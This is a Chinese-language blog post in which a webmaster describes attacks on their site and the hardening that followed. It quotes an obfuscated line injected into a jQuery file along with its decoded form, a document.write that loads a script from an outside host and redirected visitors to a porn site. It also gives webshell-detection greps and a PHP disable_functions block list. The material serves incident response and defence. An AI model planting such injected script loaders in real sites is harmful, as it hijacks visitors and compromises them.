WEB 安全实战
这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。常见的 WEB 攻击包括 XSS 攻击、SQL 注入、DDOS、CRFS 等,为了提高网站安全性能,最近特意对网站做了安全维护,属予作文以记之。
攻击记录
- 有一次黑客在首页引入的 jQuery-1.8.0.js 中写入一行 js 代码,
1 | var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv- fnnfkd`crk-bnl.robncd.iptdqx- |
翻译后是
1
document.write ("\<script src="http://www.googleadsl.com/spcode/jquery.js"></script>")
导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。
还有一次是文件内容被篡改。被攻击那天早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录,
stat filename
发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。在有一次就是黑客上传文件到特定目录下
木马查杀
- 快速木马查找命令
1 | grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html/ |
- 利用find mtime查找最近两天或者发现木马的这几天,有哪些PHP文件被修改
1 | find -mtime -2 -type f -name \*.php |
PHP 安全防范
确保运行 PHP 的用户为一般用户,如 www
禁用 PHP 危险函数
1 | disable_functions = passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter, |
- 改变 PHP 文件的权限:644
1 | chmod 644 -R ./ |
- 关闭上传目录的 PHP 执行权限
1 | <Directory "/home/www/upload/"> |
Apache 安全
- 更改 Apache 的用户为一般用户,如 apache,注意存放数据目录权限为 apache
1 | User apache |
- 禁用 -Indexes
1 | Options -Indexes FollowSymLinks |
如果目录下没有 index.* 文件则 403 错误而不是列出目录下的文件。
启用 mod_security 模块防止 SQL 注入
安装:1
yum install mod_security
httpd.conf 中引入 mod_security.conf
设置 HTTP 头信息防止 XSS 攻击
1 | <IfModule mod_headers.c> |
- mod_evasive20 防止 DDOS 攻击